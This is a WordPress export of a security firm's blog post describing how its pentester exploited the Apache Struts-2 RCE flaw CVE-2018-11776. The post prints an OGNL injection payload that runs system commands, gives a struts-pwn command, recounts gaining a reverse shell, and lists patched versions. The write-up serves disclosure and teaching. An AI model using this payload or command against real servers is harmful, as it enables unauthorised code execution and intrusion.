{"id":5270,"date":"2020-11-24T13:00:05","date_gmt":"2020-11-24T07:30:05","guid":{"rendered":"https:\/\/www.varutra.com\/?p=5270"},"modified":"2022-12-02T14:55:45","modified_gmt":"2022-12-02T09:25:45","slug":"apache-struts-2-exploited-to-remote-code-execution","status":"publish","type":"post","link":"https:\/\/www.varutra.com\/varutravrt3\/apache-struts-2-exploited-to-remote-code-execution\/","title":{"rendered":"Apache Struts-2 Exploited to Remote Code Execution"},"content":{"rendered":"<p><img loading=\"lazy\" decoding=\"async\" width=\"1920\" height=\"1080\" src=\"https:\/\/varutra-1a3b6.kxcdn.com\/wp-content\/uploads\/2020\/11\/Blog-AMP-Images-1024x535.png\"  class=\"sh-overlay-item sh-table-cell ls-is-cached lazyloaded\" data-rel=\"lightcase\" title=\"Apache Struts2 Exploited to Remote Code Execution - Varutra Consulting\"><br \/>\nThis blog is to describe my finding on a web-based application which is a very well-known vulnerability found on Apache Struts-2 Remote Code Execution (RCE).<\/p>\n<p><strong><em>\u00a0<\/em><\/strong><\/p>\n<h3><strong>What is Apache Struts-2?<\/strong><\/h3>\n<p>Apache Struts is one of the popular open-source frameworks that are used mainly by banks and government organizations. It is modern, clean, elegant, but it does not provide exceptional security. The framework detected a remote code execution that allows the hacker to execute system commands remotely on any network or server that uses Apache Struts Framework along with a Rest Plugin, which is commonly used to run the application. The bug that was discovered was a vulnerability that starts with insecure deserialization but later leads to a remote execution code.<\/p>\n<p>&nbsp;<\/p>\n<h3><strong>Steps To Check the Vulnerability for Apache Struts-2<\/strong><\/h3>\n<p>Here are some steps that you need to follow to check for the vulnerability for Apache Struts-2.<\/p>\n<ul>\n<li>Browse for a URL or the websites that you think maybe vulnerable to Apache Struts-2.<\/li>\n<li>Use the online application called Contrast to get the proper detailing on struts.<\/li>\n<li>After entering the URL in the tools, you will get the complete details of the Apache Struts and the appropriate parameter.<\/li>\n<\/ul>\n<p style=\"text-align: center\"><strong><em><img loading=\"lazy\" decoding=\"async\" class=\"size-full wp-image-5275 aligncenter\" src=\"https:\/\/www.varutra.com\/wp-content\/uploads\/2020\/11\/Contrast-showing-whole-details-of-the-application.png\" alt=\"Contrast showing whole details of the application\" width=\"610\" height=\"202\" srcset=\"https:\/\/www.varutra.com\/varutravrt3\/wp-content\/uploads\/2020\/11\/Contrast-showing-whole-details-of-the-application.png 610w, https:\/\/www.varutra.com\/varutravrt3\/wp-content\/uploads\/2020\/11\/Contrast-showing-whole-details-of-the-application-300x99.png 300w\" sizes=\"(max-width: 610px) 100vw, 610px\" \/>\u00a0<\/em><\/strong>Contrast showing whole details of the application<\/p>\n<ul>\n<li>Then after getting the proper parameter, try to check for parameters on the Burp Suite with some payloads.<\/li>\n<\/ul>\n<p><em>${%23a%3dnew%20java.lang.ProcessBuilder(new%20java.lang.String[]{%22<strong>whoami<\/strong>%22}).start().getInputStream(),%23b%3dnew%20java.io.InputStreamReader(%23a),%23c%3dnew%20java.io.BufferedReader(%23b),%23d%3dnew%20char[51020],%23c.read(%23d),%23screen%3d%23context.get(\u2018com.opensymphony.xwork2.dispatcher.HttpServletResponse\u2019).getWriter(),%23screen.println(%23d),%23screen.close()}\u201d&gt;test.action?redirect:${%23a%3dnew%20java.lang.ProcessBuilder(new%20java.lang.String[]{%22netstat%22,%22-an%22}).start().getInputStream(),%23b%3dnew%20java.io.InputStreamReader(%23a),%23c%3dnew%20java<\/em><\/p>\n<p style=\"text-align: center\"><strong><em> <img loading=\"lazy\" decoding=\"async\" class=\"size-full wp-image-5276 aligncenter\" src=\"https:\/\/www.varutra.com\/wp-content\/uploads\/2020\/11\/Payload-resulted-with-the-hostname.png\" alt=\"Payload resulted with the hostname\" width=\"610\" height=\"305\" srcset=\"https:\/\/www.varutra.com\/varutravrt3\/wp-content\/uploads\/2020\/11\/Payload-resulted-with-the-hostname.png 610w, https:\/\/www.varutra.com\/varutravrt3\/wp-content\/uploads\/2020\/11\/Payload-resulted-with-the-hostname-300x150.png 300w\" sizes=\"(max-width: 610px) 100vw, 610px\" \/><\/em><\/strong>Payload resulted in the hostname<\/p>\n<ul>\n<li>Send a malicious velocity template through GET\/POST recommendation that has a custom velocity template parameter that is specially designed for a request, leading to RCE. This way, you can complete the vulnerability trigger.<\/li>\n<li>Use this payload on the generated parameters and go for the YES option for an accurate result.<\/li>\n<li>You can use the docker build for the Apache struts and can add custom actions to it.<\/li>\n<\/ul>\n<p>&nbsp;<\/p>\n<h3><strong>Setting up to gain reverse shell:<\/strong><\/h3>\n<ol>\n<li>After doing some google search, came across a python code to gain a reverse shell on that parameter.<\/li>\n<li>Just by some modification in the python code, I was able to get the reverse shell.<\/li>\n<li>Here is the python code. \u00a0<a href=\"https:\/\/github.com\/mazen160\/struts-pwn_CVE-2018-11776\">https:\/\/github.com\/mazen160\/struts-pwn_CVE-2018-11776<\/a><\/li>\n<\/ol>\n<ol start=\"4\">\n<li>Command:-python struts-pwn.py &#8211;url &#8216;http:\/\/example.com\/demo\/struts2-showcase\/index.action&#8217;<\/li>\n<li>Then YES I got areverse shell for the same.<\/li>\n<\/ol>\n<p style=\"text-align: center\"><img loading=\"lazy\" decoding=\"async\" class=\"size-full wp-image-5277 aligncenter\" src=\"https:\/\/www.varutra.com\/wp-content\/uploads\/2020\/11\/Reverse-shell-executed.png\" alt=\"Reverse shell executed\" width=\"356\" height=\"89\" srcset=\"https:\/\/www.varutra.com\/varutravrt3\/wp-content\/uploads\/2020\/11\/Reverse-shell-executed.png 356w, https:\/\/www.varutra.com\/varutravrt3\/wp-content\/uploads\/2020\/11\/Reverse-shell-executed-300x75.png 300w\" sizes=\"(max-width: 356px) 100vw, 356px\" \/>Reverse shell executed<\/p>\n<p>&nbsp;<\/p>\n<h3><strong>How to Mitigate Apache Struts-2 Remote Code Execution Flaw:-<\/strong><\/h3>\n<ul>\n<li>It is recommended that Apache customers upgrade to the latest version and deploy security patches within 24 hours.<\/li>\n<li>If you are running \u2026 Upgrade to\u2026\n<ul>\n<li>Struts 2.3.x | Struts 2.3.35<\/li>\n<li>Struts 2.5.x | Struts 2.5.17<\/li>\n<\/ul>\n<\/li>\n<li>That is all to get an RCE on vulnerable Apache Struts 2; you can read more on it via the following CVE ID 2018-11776.<\/li>\n<\/ul>\n<p>We offer various tailored security services to organizations to encounter their vulnerabilities and cyber-attacks. Security services like\u00a0<a href=\"https:\/\/www.varutra.com\/cloud-security\/\">Cloud Security<\/a>,\u00a0<a href=\"https:\/\/www.varutra.com\/network-infrastructure-security\/\">Network Security<\/a>,\u00a0<a href=\"https:\/\/www.varutra.com\/application-security\/\">Application Security<\/a>,\u00a0<a href=\"https:\/\/www.varutra.com\/special-security-services\/\">Special Security Services<\/a>, and more. You can also read about vulnerabilities and other cybersecurity attacks in our\u00a0<a href=\"https:\/\/www.varutra.com\/blogs\/\">blog section<\/a>.<\/p>\n<p>Anyways it was FUN, Thanks for reading.<\/p>\n<p>&nbsp;<\/p>\n<p>Author,<\/p>\n<p><strong>Sushant Kamble<\/strong><\/p>\n<div class=\"IL\">\n<div id=\":oc.av\" class=\"Up pC\">\n<div class=\"n291pb uaxL4e\"><img decoding=\"async\" class=\"Yf\" title=\"Sushant Kamble (&#x73;&#x75;&#x73;&#x68;&#x61;&#x6e;&#x74;&#x40;&#x76;&#x61;&#x72;&#x75;&#x74;&#x72;&#x61;&#x2e;&#x63;&#x6f;&#x6d;)\" role=\"link\" src=\"https:\/\/lh3.googleusercontent.com\/a-\/AOh14GhvcjjAEPpTIuomhGE_Wr-dYA4HW5qiQtSZvvLr-w=s32-c-k-no\" alt=\"Sushant Kamble (&#x73;&#x75;&#x73;&#x68;&#x61;&#x6e;&#x74;&#x40;&#x76;&#x61;&#x72;&#x75;&#x74;&#x72;&#x61;&#x2e;&#x63;&#x6f;&#x6d;)\" \/><\/div>\n<\/div>\n<\/div>\n<div><\/div>\n<div class=\"KRQuhe\"><em>Attack &amp; Pentest Team<\/em><\/div>\n<div><\/div>\n<div class=\"KRQuhe\">Varutra Consulting Pvt. Ltd.<\/div>","protected":false},"excerpt":{"rendered":"<p>This blog is to describe my finding on a web-based application which is a very well-known vulnerability found on Apache Struts-2 Remote Code Execution (RCE)&#8230;.<\/p>\n","protected":false},"author":4,"featured_media":18158,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"om_disable_all_campaigns":false,"inline_featured_image":false,"_monsterinsights_skip_tracking":false,"_monsterinsights_sitenote_active":false,"_monsterinsights_sitenote_note":"","_monsterinsights_sitenote_category":0,"footnotes":""},"categories":[57],"tags":[120],"aioseo_notices":[],"aioseo_head":"\n\t\t<!-- All in One SEO Pro 4.6.3 - aioseo.com -->\n\t\t<meta name=\"description\" content=\"Remote code execution flaw exists in web application framework Apache Struts-2 for open source applications, used to build java web applications. Read More.\" \/>\n\t\t<meta name=\"robots\" content=\"max-image-preview:large\" \/>\n\t\t<link rel=\"canonical\" href=\"https:\/\/www.varutra.com\/varutravrt3\/apache-struts-2-exploited-to-remote-code-execution\/\" \/>\n\t\t<meta name=\"generator\" content=\"All in One SEO Pro (AIOSEO) 4.6.3\" \/>\n\t\t<meta property=\"og:locale\" content=\"en_US\" \/>\n\t\t<meta property=\"og:site_name\" content=\"Varutra Consulting\" \/>\n\t\t<meta property=\"og:type\" content=\"article\" \/>\n\t\t<meta property=\"og:title\" content=\"Apache Struts-2 Exploited to Remote Code Execution\" \/>\n\t\t<meta property=\"og:description\" content=\"Remote code execution flaw exists in web application framework Apache Struts-2 for open source applications, used to build java web applications. Read More.\" \/>\n\t\t<meta property=\"og:url\" content=\"https:\/\/www.varutra.com\/varutravrt3\/apache-struts-2-exploited-to-remote-code-execution\/\" \/>\n\t\t<meta property=\"og:image\" content=\"https:\/\/www.varutra.com\/wp-content\/uploads\/2020\/11\/Blog-AMP-Images.png\" \/>\n\t\t<meta property=\"og:image:secure_url\" content=\"https:\/\/www.varutra.com\/wp-content\/uploads\/2020\/11\/Blog-AMP-Images.png\" \/>\n\t\t<meta property=\"og:image:width\" content=\"1200\" \/>\n\t\t<meta property=\"og:image:height\" content=\"627\" \/>\n\t\t<meta property=\"article:section\" content=\"Vulnerability Disclosure\" \/>\n\t\t<meta property=\"article:tag\" content=\"remote code execution\" \/>\n\t\t<meta property=\"article:published_time\" content=\"2020-11-24T07:30:05+00:00\" \/>\n\t\t<meta property=\"article:modified_time\" content=\"2022-12-02T09:25:45+00:00\" \/>\n\t\t<meta name=\"twitter:card\" content=\"summary_large_image\" \/>\n\t\t<meta name=\"twitter:title\" content=\"Apache Struts-2 Exploited to Remote Code Execution\" \/>\n\t\t<meta name=\"twitter:description\" content=\"Remote code execution flaw exists in web application framework Apache Struts-2 for open source applications, used to build java web applications. Read More.\" \/>\n\t\t<meta name=\"twitter:image\" content=\"https:\/\/www.varutra.com\/wp-content\/uploads\/2020\/11\/Blog-AMP-Images.png\" \/>\n\t\t<meta name=\"twitter:label1\" content=\"Written by\" \/>\n\t\t<meta name=\"twitter:data1\" content=\"kalpblogger\" \/>\n\t\t<meta name=\"twitter:label2\" content=\"Est. reading time\" \/>\n\t\t<meta name=\"twitter:data2\" content=\"3 minutes\" \/>\n\t\t<script type=\"application\/ld+json\" class=\"aioseo-schema\">\n\t\t\t{\"@context\":\"https:\\\/\\\/schema.org\",\"@graph\":[{\"@type\":\"Article\",\"@id\":\"https:\\\/\\\/www.varutra.com\\\/varutravrt3\\\/apache-struts-2-exploited-to-remote-code-execution\\\/#article\",\"name\":\"Apache Struts-2 Exploited to Remote Code Execution\",\"headline\":\"Apache Struts-2 Exploited to Remote Code Execution\",\"author\":{\"@id\":\"https:\\\/\\\/www.varutra.com\\\/varutravrt3\\\/author\\\/kalpblogger\\\/#author\"},\"publisher\":{\"@id\":\"https:\\\/\\\/www.varutra.com\\\/varutravrt3\\\/#organization\"},\"image\":{\"@type\":\"ImageObject\",\"url\":\"https:\\\/\\\/www.varutra.com\\\/varutravrt3\\\/wp-content\\\/uploads\\\/2020\\\/11\\\/Blog-AMP-Images.png\",\"width\":1200,\"height\":627,\"caption\":\"Apache Struts-2 Exploited to Remote Code Execution\"},\"datePublished\":\"2020-11-24T13:00:05+05:30\",\"dateModified\":\"2022-12-02T14:55:45+05:30\",\"inLanguage\":\"en-US\",\"mainEntityOfPage\":{\"@id\":\"https:\\\/\\\/www.varutra.com\\\/varutravrt3\\\/apache-struts-2-exploited-to-remote-code-execution\\\/#webpage\"},\"isPartOf\":{\"@id\":\"https:\\\/\\\/www.varutra.com\\\/varutravrt3\\\/apache-struts-2-exploited-to-remote-code-execution\\\/#webpage\"},\"articleSection\":\"Vulnerability Disclosure, Remote Code Execution\"},{\"@type\":\"BreadcrumbList\",\"@id\":\"https:\\\/\\\/www.varutra.com\\\/varutravrt3\\\/apache-struts-2-exploited-to-remote-code-execution\\\/#breadcrumblist\",\"itemListElement\":[{\"@type\":\"ListItem\",\"@id\":\"https:\\\/\\\/www.varutra.com\\\/varutravrt3\\\/#listItem\",\"position\":1,\"name\":\"Home\",\"item\":\"https:\\\/\\\/www.varutra.com\\\/varutravrt3\\\/\",\"nextItem\":\"https:\\\/\\\/www.varutra.com\\\/varutravrt3\\\/apache-struts-2-exploited-to-remote-code-execution\\\/#listItem\"},{\"@type\":\"ListItem\",\"@id\":\"https:\\\/\\\/www.varutra.com\\\/varutravrt3\\\/apache-struts-2-exploited-to-remote-code-execution\\\/#listItem\",\"position\":2,\"name\":\"Apache Struts-2 Exploited to Remote Code Execution\",\"previousItem\":\"https:\\\/\\\/www.varutra.com\\\/varutravrt3\\\/#listItem\"}]},{\"@type\":\"Organization\",\"@id\":\"https:\\\/\\\/www.varutra.com\\\/varutravrt3\\\/#organization\",\"name\":\"Varutra\",\"url\":\"https:\\\/\\\/www.varutra.com\\\/varutravrt3\\\/\",\"logo\":{\"@type\":\"ImageObject\",\"url\":\"https:\\\/\\\/www.varutra.com\\\/wp-content\\\/uploads\\\/2021\\\/11\\\/Varutra-Found-e1612984024606.jpg\",\"@id\":\"https:\\\/\\\/www.varutra.com\\\/varutravrt3\\\/apache-struts-2-exploited-to-remote-code-execution\\\/#organizationLogo\"},\"image\":{\"@id\":\"https:\\\/\\\/www.varutra.com\\\/varutravrt3\\\/apache-struts-2-exploited-to-remote-code-execution\\\/#organizationLogo\"}},{\"@type\":\"Person\",\"@id\":\"https:\\\/\\\/www.varutra.com\\\/varutravrt3\\\/author\\\/kalpblogger\\\/#author\",\"url\":\"https:\\\/\\\/www.varutra.com\\\/varutravrt3\\\/author\\\/kalpblogger\\\/\",\"name\":\"kalpblogger\",\"image\":{\"@type\":\"ImageObject\",\"@id\":\"https:\\\/\\\/www.varutra.com\\\/varutravrt3\\\/apache-struts-2-exploited-to-remote-code-execution\\\/#authorImage\",\"url\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/5e96a9b330da7c941c1e39217a2fbe38?s=96&d=mm&r=g\",\"width\":96,\"height\":96,\"caption\":\"kalpblogger\"}},{\"@type\":\"WebPage\",\"@id\":\"https:\\\/\\\/www.varutra.com\\\/varutravrt3\\\/apache-struts-2-exploited-to-remote-code-execution\\\/#webpage\",\"url\":\"https:\\\/\\\/www.varutra.com\\\/varutravrt3\\\/apache-struts-2-exploited-to-remote-code-execution\\\/\",\"name\":\"Apache Struts-2 Exploited to Remote Code Execution\",\"description\":\"Remote code execution flaw exists in web application framework Apache Struts-2 for open source applications, used to build java web applications. Read More.\",\"inLanguage\":\"en-US\",\"isPartOf\":{\"@id\":\"https:\\\/\\\/www.varutra.com\\\/varutravrt3\\\/#website\"},\"breadcrumb\":{\"@id\":\"https:\\\/\\\/www.varutra.com\\\/varutravrt3\\\/apache-struts-2-exploited-to-remote-code-execution\\\/#breadcrumblist\"},\"author\":{\"@id\":\"https:\\\/\\\/www.varutra.com\\\/varutravrt3\\\/author\\\/kalpblogger\\\/#author\"},\"creator\":{\"@id\":\"https:\\\/\\\/www.varutra.com\\\/varutravrt3\\\/author\\\/kalpblogger\\\/#author\"},\"image\":{\"@type\":\"ImageObject\",\"url\":\"https:\\\/\\\/www.varutra.com\\\/varutravrt3\\\/wp-content\\\/uploads\\\/2020\\\/11\\\/Blog-AMP-Images.png\",\"@id\":\"https:\\\/\\\/www.varutra.com\\\/varutravrt3\\\/apache-struts-2-exploited-to-remote-code-execution\\\/#mainImage\",\"width\":1200,\"height\":627,\"caption\":\"Apache Struts-2 Exploited to Remote Code Execution\"},\"primaryImageOfPage\":{\"@id\":\"https:\\\/\\\/www.varutra.com\\\/varutravrt3\\\/apache-struts-2-exploited-to-remote-code-execution\\\/#mainImage\"},\"datePublished\":\"2020-11-24T13:00:05+05:30\",\"dateModified\":\"2022-12-02T14:55:45+05:30\"},{\"@type\":\"WebSite\",\"@id\":\"https:\\\/\\\/www.varutra.com\\\/varutravrt3\\\/#website\",\"url\":\"https:\\\/\\\/www.varutra.com\\\/varutravrt3\\\/\",\"name\":\"Varutra Consulting\",\"description\":\"Secure your digital world with our Cybersecurity services.\",\"inLanguage\":\"en-US\",\"publisher\":{\"@id\":\"https:\\\/\\\/www.varutra.com\\\/varutravrt3\\\/#organization\"}}]}\n\t\t<\/script>\n\t\t<!-- All in One SEO Pro -->\r\n\t\t<title>Apache Struts-2 Exploited to Remote Code Execution<\/title>\n\n","aioseo_head_json":{"title":"Apache Struts-2 Exploited to Remote Code Execution","description":"Remote code execution flaw exists in web application framework Apache Struts-2 for open source applications, used to build java web applications. Read More.","canonical_url":"https:\/\/www.varutra.com\/varutravrt3\/apache-struts-2-exploited-to-remote-code-execution\/","robots":"max-image-preview:large","keywords":"","webmasterTools":{"miscellaneous":""},"og:locale":"en_US","og:site_name":"Varutra Consulting","og:type":"article","og:title":"Apache Struts-2 Exploited to Remote Code Execution","og:description":"Remote code execution flaw exists in web application framework Apache Struts-2 for open source applications, used to build java web applications. Read More.","og:url":"https:\/\/www.varutra.com\/varutravrt3\/apache-struts-2-exploited-to-remote-code-execution\/","og:image":"https:\/\/www.varutra.com\/wp-content\/uploads\/2020\/11\/Blog-AMP-Images.png","og:image:secure_url":"https:\/\/www.varutra.com\/wp-content\/uploads\/2020\/11\/Blog-AMP-Images.png","og:image:width":"1200","og:image:height":"627","article:section":"Vulnerability Disclosure","article:tag":["remote code execution"],"article:published_time":"2020-11-24T07:30:05+00:00","article:modified_time":"2022-12-02T09:25:45+00:00","twitter:card":"summary_large_image","twitter:title":"Apache Struts-2 Exploited to Remote Code Execution","twitter:description":"Remote code execution flaw exists in web application framework Apache Struts-2 for open source applications, used to build java web applications. Read More.","twitter:image":"https:\/\/www.varutra.com\/wp-content\/uploads\/2020\/11\/Blog-AMP-Images.png","twitter:label1":"Written by","twitter:data1":"kalpblogger","twitter:label2":"Est. reading time","twitter:data2":"3 minutes","schema":{"@context":"https:\/\/schema.org","@graph":[{"@type":"Article","@id":"https:\/\/www.varutra.com\/varutravrt3\/apache-struts-2-exploited-to-remote-code-execution\/#article","name":"Apache Struts-2 Exploited to Remote Code Execution","headline":"Apache Struts-2 Exploited to Remote Code Execution","author":{"@id":"https:\/\/www.varutra.com\/varutravrt3\/author\/kalpblogger\/#author"},"publisher":{"@id":"https:\/\/www.varutra.com\/varutravrt3\/#organization"},"image":{"@type":"ImageObject","url":"https:\/\/www.varutra.com\/varutravrt3\/wp-content\/uploads\/2020\/11\/Blog-AMP-Images.png","width":1200,"height":627,"caption":"Apache Struts-2 Exploited to Remote Code Execution"},"datePublished":"2020-11-24T13:00:05+05:30","dateModified":"2022-12-02T14:55:45+05:30","inLanguage":"en-US","mainEntityOfPage":{"@id":"https:\/\/www.varutra.com\/varutravrt3\/apache-struts-2-exploited-to-remote-code-execution\/#webpage"},"isPartOf":{"@id":"https:\/\/www.varutra.com\/varutravrt3\/apache-struts-2-exploited-to-remote-code-execution\/#webpage"},"articleSection":"Vulnerability Disclosure, Remote Code Execution"},{"@type":"BreadcrumbList","@id":"https:\/\/www.varutra.com\/varutravrt3\/apache-struts-2-exploited-to-remote-code-execution\/#breadcrumblist","itemListElement":[{"@type":"ListItem","@id":"https:\/\/www.varutra.com\/varutravrt3\/#listItem","position":1,"name":"Home","item":"https:\/\/www.varutra.com\/varutravrt3\/","nextItem":"https:\/\/www.varutra.com\/varutravrt3\/apache-struts-2-exploited-to-remote-code-execution\/#listItem"},{"@type":"ListItem","@id":"https:\/\/www.varutra.com\/varutravrt3\/apache-struts-2-exploited-to-remote-code-execution\/#listItem","position":2,"name":"Apache Struts-2 Exploited to Remote Code Execution","previousItem":"https:\/\/www.varutra.com\/varutravrt3\/#listItem"}]},{"@type":"Organization","@id":"https:\/\/www.varutra.com\/varutravrt3\/#organization","name":"Varutra","url":"https:\/\/www.varutra.com\/varutravrt3\/","logo":{"@type":"ImageObject","url":"https:\/\/www.varutra.com\/wp-content\/uploads\/2021\/11\/Varutra-Found-e1612984024606.jpg","@id":"https:\/\/www.varutra.com\/varutravrt3\/apache-struts-2-exploited-to-remote-code-execution\/#organizationLogo"},"image":{"@id":"https:\/\/www.varutra.com\/varutravrt3\/apache-struts-2-exploited-to-remote-code-execution\/#organizationLogo"}},{"@type":"Person","@id":"https:\/\/www.varutra.com\/varutravrt3\/author\/kalpblogger\/#author","url":"https:\/\/www.varutra.com\/varutravrt3\/author\/kalpblogger\/","name":"kalpblogger","image":{"@type":"ImageObject","@id":"https:\/\/www.varutra.com\/varutravrt3\/apache-struts-2-exploited-to-remote-code-execution\/#authorImage","url":"https:\/\/secure.gravatar.com\/avatar\/5e96a9b330da7c941c1e39217a2fbe38?s=96&d=mm&r=g","width":96,"height":96,"caption":"kalpblogger"}},{"@type":"WebPage","@id":"https:\/\/www.varutra.com\/varutravrt3\/apache-struts-2-exploited-to-remote-code-execution\/#webpage","url":"https:\/\/www.varutra.com\/varutravrt3\/apache-struts-2-exploited-to-remote-code-execution\/","name":"Apache Struts-2 Exploited to Remote Code Execution","description":"Remote code execution flaw exists in web application framework Apache Struts-2 for open source applications, used to build java web applications. Read More.","inLanguage":"en-US","isPartOf":{"@id":"https:\/\/www.varutra.com\/varutravrt3\/#website"},"breadcrumb":{"@id":"https:\/\/www.varutra.com\/varutravrt3\/apache-struts-2-exploited-to-remote-code-execution\/#breadcrumblist"},"author":{"@id":"https:\/\/www.varutra.com\/varutravrt3\/author\/kalpblogger\/#author"},"creator":{"@id":"https:\/\/www.varutra.com\/varutravrt3\/author\/kalpblogger\/#author"},"image":{"@type":"ImageObject","url":"https:\/\/www.varutra.com\/varutravrt3\/wp-content\/uploads\/2020\/11\/Blog-AMP-Images.png","@id":"https:\/\/www.varutra.com\/varutravrt3\/apache-struts-2-exploited-to-remote-code-execution\/#mainImage","width":1200,"height":627,"caption":"Apache Struts-2 Exploited to Remote Code Execution"},"primaryImageOfPage":{"@id":"https:\/\/www.varutra.com\/varutravrt3\/apache-struts-2-exploited-to-remote-code-execution\/#mainImage"},"datePublished":"2020-11-24T13:00:05+05:30","dateModified":"2022-12-02T14:55:45+05:30"},{"@type":"WebSite","@id":"https:\/\/www.varutra.com\/varutravrt3\/#website","url":"https:\/\/www.varutra.com\/varutravrt3\/","name":"Varutra Consulting","description":"Secure your digital world with our Cybersecurity services.","inLanguage":"en-US","publisher":{"@id":"https:\/\/www.varutra.com\/varutravrt3\/#organization"}}]}},"aioseo_meta_data":{"post_id":"5270","title":"Apache Struts-2 Exploited to Remote Code Execution","description":"Remote code execution flaw exists in web application framework Apache Struts-2 for open source applications, used to build java web applications. Read More.","keywords":[],"keyphrases":"{\"focus\":{\"keyphrase\":\"Apache Struts-2\",\"analysis\":{\"keyphraseInTitle\":{\"title\":\"Focus keyphrase in SEO title\",\"description\":\"Focus keyphrase found in SEO title.\",\"score\":9,\"maxScore\":9,\"error\":0},\"keyphraseInDescription\":{\"title\":\"Focus keyphrase in meta description\",\"description\":\"Focus keyphrase found in meta description.\",\"score\":9,\"maxScore\":9,\"error\":0},\"keyphraseLength\":{\"title\":\"Focus keyphrase length\",\"description\":\"Good job!\",\"score\":9,\"maxScore\":9,\"error\":0,\"length\":2},\"keyphraseInURL\":{\"title\":\"Focus keyphrase in URL\",\"description\":\"Focus keyphrase used in the URL.\",\"score\":5,\"maxScore\":5,\"error\":0},\"keyphraseInIntroduction\":{\"title\":\"Focus keyphrase in introduction\",\"description\":\"Your Focus keyphrase does not appear in the first paragraph. Make sure the topic is clear immediately.\",\"score\":3,\"maxScore\":9,\"error\":1},\"keyphraseInSubHeadings\":{\"title\":\"Focus keyphrase in Subheadings\",\"description\":\"Your H2 and H3 subheadings reflects the topic of your copy. Good job!\",\"score\":9,\"maxScore\":9,\"error\":0},\"keyphraseInImageAlt\":{\"title\":\"Focus keyphrase in image alt attributes\",\"description\":\"Focus keyphrase not found in image alt attribute(s). Add an image with your Focus keyphrase as alt text.\",\"score\":3,\"maxScore\":9,\"error\":1}},\"score\":80},\"additional\":[{\"keyphrase\":\"Remote code execution\",\"score\":67,\"analysis\":{\"keyphraseInDescription\":{\"title\":\"Keyphrase in meta description\",\"description\":\"Keyphrase found in meta description.\",\"score\":9,\"maxScore\":9,\"error\":0},\"keyphraseLength\":{\"title\":\"Keyphrase length\",\"description\":\"Good job!\",\"score\":9,\"maxScore\":9,\"error\":0,\"length\":3},\"keyphraseInIntroduction\":{\"title\":\"Keyphrase in introduction\",\"description\":\"Your Keyphrase does not appear in the first paragraph. Make sure the topic is clear immediately.\",\"score\":3,\"maxScore\":9,\"error\":1},\"keyphraseInImageAlt\":{\"title\":\"Keyphrase in image alt attributes\",\"description\":\"Keyphrase not found in image alt attribute(s). Add an image with your Keyphrase as alt text.\",\"score\":3,\"maxScore\":9,\"error\":1}}},{\"keyphrase\":\"Apache Struts\",\"score\":67,\"analysis\":{\"keyphraseInDescription\":{\"title\":\"Keyphrase in meta description\",\"description\":\"Keyphrase found in meta description.\",\"score\":9,\"maxScore\":9,\"error\":0},\"keyphraseLength\":{\"title\":\"Keyphrase length\",\"description\":\"Good job!\",\"score\":9,\"maxScore\":9,\"error\":0,\"length\":2},\"keyphraseInIntroduction\":{\"title\":\"Keyphrase in introduction\",\"description\":\"Your Keyphrase does not appear in the first paragraph. Make sure the topic is clear immediately.\",\"score\":3,\"maxScore\":9,\"error\":1},\"keyphraseInImageAlt\":{\"title\":\"Keyphrase in image alt attributes\",\"description\":\"Keyphrase not found in image alt attribute(s). Add an image with your Keyphrase as alt text.\",\"score\":3,\"maxScore\":9,\"error\":1}}}]}","primary_term":null,"canonical_url":null,"og_title":null,"og_description":null,"og_object_type":"default","og_image_type":"featured","og_image_url":"https:\/\/www.varutra.com\/wp-content\/uploads\/2020\/11\/Blog-AMP-Images.png","og_image_width":"1200","og_image_height":"627","og_image_custom_url":null,"og_image_custom_fields":null,"og_video":"","og_custom_url":null,"og_article_section":"Vulnerability Disclosure","og_article_tags":[],"twitter_use_og":true,"twitter_card":"default","twitter_image_type":"default","twitter_image_url":null,"twitter_image_custom_url":null,"twitter_image_custom_fields":null,"twitter_title":null,"twitter_description":null,"schema":{"blockGraphs":[],"customGraphs":[],"default":{"data":{"Article":[],"Course":[],"Dataset":[],"FAQPage":[],"Movie":[],"Person":[],"Product":[],"Recipe":[],"Service":[],"SoftwareApplication":[],"WebPage":[]},"graphName":"","isEnabled":true},"graphs":[]},"schema_type":"default","schema_type_options":"{\"article\":{\"articleType\":\"BlogPosting\"},\"course\":{\"name\":\"\",\"description\":\"\",\"provider\":\"\"},\"faq\":{\"pages\":[]},\"product\":{\"reviews\":[]},\"recipe\":{\"ingredients\":[],\"instructions\":[],\"keywords\":[]},\"software\":{\"reviews\":[],\"operatingSystems\":[]},\"webPage\":{\"webPageType\":\"WebPage\"}}","pillar_content":false,"robots_default":true,"robots_noindex":false,"robots_noarchive":false,"robots_nosnippet":false,"robots_nofollow":false,"robots_noimageindex":false,"robots_noodp":false,"robots_notranslate":false,"robots_max_snippet":"-1","robots_max_videopreview":"-1","robots_max_imagepreview":"large","priority":null,"frequency":"default","local_seo":null,"limit_modified_date":false,"open_ai":null,"created":"2021-10-27 15:12:31","updated":"2022-12-02 09:26:32"},"aioseo_breadcrumb":"<div class=\"aioseo-breadcrumbs\"><span class=\"aioseo-breadcrumb\">\n\t<a href=\"https:\/\/www.varutra.com\/varutravrt3\" title=\"Home\">Home<\/a>\n<\/span><span class=\"aioseo-breadcrumb-separator\">&raquo;<\/span><span class=\"aioseo-breadcrumb\">\n\t<a href=\"https:\/\/www.varutra.com\/varutravrt3\/category\/vulnerability-disclosure\/\" title=\"Vulnerability Disclosure\">Vulnerability Disclosure<\/a>\n<\/span><span class=\"aioseo-breadcrumb-separator\">&raquo;<\/span><span class=\"aioseo-breadcrumb\">\n\tApache Struts-2 Exploited to Remote Code Execution\n<\/span><\/div>","aioseo_breadcrumb_json":[{"label":"Home","link":"https:\/\/www.varutra.com\/varutravrt3"},{"label":"Vulnerability Disclosure","link":"https:\/\/www.varutra.com\/varutravrt3\/category\/vulnerability-disclosure\/"},{"label":"Apache Struts-2 Exploited to Remote Code 